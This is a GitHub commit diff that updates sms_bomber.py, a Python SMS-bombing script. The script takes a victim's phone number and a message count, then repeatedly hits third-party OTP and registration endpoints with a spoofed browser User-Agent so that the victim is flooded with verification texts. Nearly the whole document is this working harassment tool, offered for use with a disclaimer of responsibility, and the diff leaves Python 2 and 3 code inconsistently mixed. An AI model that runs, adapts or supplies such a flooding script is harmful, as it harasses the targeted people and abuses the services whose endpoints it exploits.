Merge pull request #60 from ghost/patch-2

Updated sms_bomber.py added one new URL to it. Thanks to @ghost
This commit is contained in:
Sameer Bhatt (debugger) 2021-03-10 10:10:38 +05:30 committed by GitHub
commit 077735ff5d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,9 +1,15 @@
from urllib.request import Request,urlopen #python2
from urllib.parse import urlencode #from urllib.request import Request,urlopen
import urllib2,cookielib
#from urllib.parse import urlencode
import platform import platform
import os import os
import time import time
from random import randint
try:
raw_input
except NameError:
raw_input = input
def banner(): def banner():
if platform.system().lower()=="windows": if platform.system().lower()=="windows":
@ -11,7 +17,6 @@ def banner():
else: else:
os.system("clear") os.system("clear")
print(""" print("""
/$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$$ /$$$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$$ /$$$$$$$$ /$$$$$$$
/$$__ $$| $$$ /$$$ /$$__ $$ | $$__ $$ /$$__ $$| $$$ /$$$| $$__ $$| $$_____/| $$__ $$ /$$__ $$| $$$ /$$$ /$$__ $$ | $$__ $$ /$$__ $$| $$$ /$$$| $$__ $$| $$_____/| $$__ $$
| $$ \__/| $$$$ /$$$$| $$ \__/ | $$ \ $$| $$ \ $$| $$$$ /$$$$| $$ \ $$| $$ | $$ \ $$ | $$ \__/| $$$$ /$$$$| $$ \__/ | $$ \ $$| $$ \ $$| $$$$ /$$$$| $$ \ $$| $$ | $$ \ $$
@ -22,43 +27,36 @@ def banner():
\______/ |__/ |__/ \______/ |_______/ \______/ |__/ |__/|_______/ |________/|__/ |__/ \______/ |__/ |__/ \______/ |_______/ \______/ |__/ |__/|_______/ |________/|__/ |__/
By : D3XBugg3R By : D3XBugg3R
Modded By: Lucas
With <3 of T34M GCA
Note : I won't be responsible for any damage caused by this script, Use at your own risk Note : I won't be responsible for any damage caused by this script, Use at your own risk
""") """)
#http://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile=
#https://securedapi.confirmtkt.com/api/platform/register?mobileNumber= #https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=
#http://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile= #http://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile=
#http://www.quikr.com/SignIn?aj=1&for=send_otp&user=
#https://securedapi.confirmtkt.com/api/platform/register?mobileNumber= #https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=
how_many = input("How many numbers do you want to bomb? ")
numbers = []
for i in range(how_many):
temp = str(input(f"Enter the number {i+1}: "))
numbers.append(temp)
def send(num, counter, slep): def send(num, counter, slep):
#url = ["https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=","https://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile=","https://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile="] #url = ["https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=","https://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile=","https://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile="]
url="https://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile=" url="https://securedapi.confirmtkt.com/api/platform/register?mobileNumber="
data={"phone":num} #data={"phone":num}
hdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3','Accept-Encoding': 'none','Accept-Language': 'en-US,en;q=0.8','Connection': 'keep-alive'}
result_url=url+num
req = urllib2.Request(result_url, headers=hdr)
for x in range(counter): for x in range(counter):
banner() banner()
print("Target Number : ", num) #print("Target Number : 01531999473", num)
print("Number of Message Sent : ", x+1) #print("Number of Message Sent : ", x+1)
result_url=url+num page = urllib2.urlopen(req)
resp1=Request(result_url) #resp1=Request(result_url)
urlopen(resp1) #urlopen(resp1)
time.sleep(slep) time.sleep(slep)
try: try:
banner() banner()
for number in numbers: number = raw_input("Enter mobileNumber: ")
send(number, int(input(f"Enter Number of Messages for {number} : ")), randint(3)) count = raw_input("Enter number of Message: ")
throttle = raw_input("Enter time of sleep: ")
send(number,int(count), int(throttle))
except Exception as e: except Exception as e:
print("Something is wrong please Run again this script.") print("Something is wrong please Re-run this script.")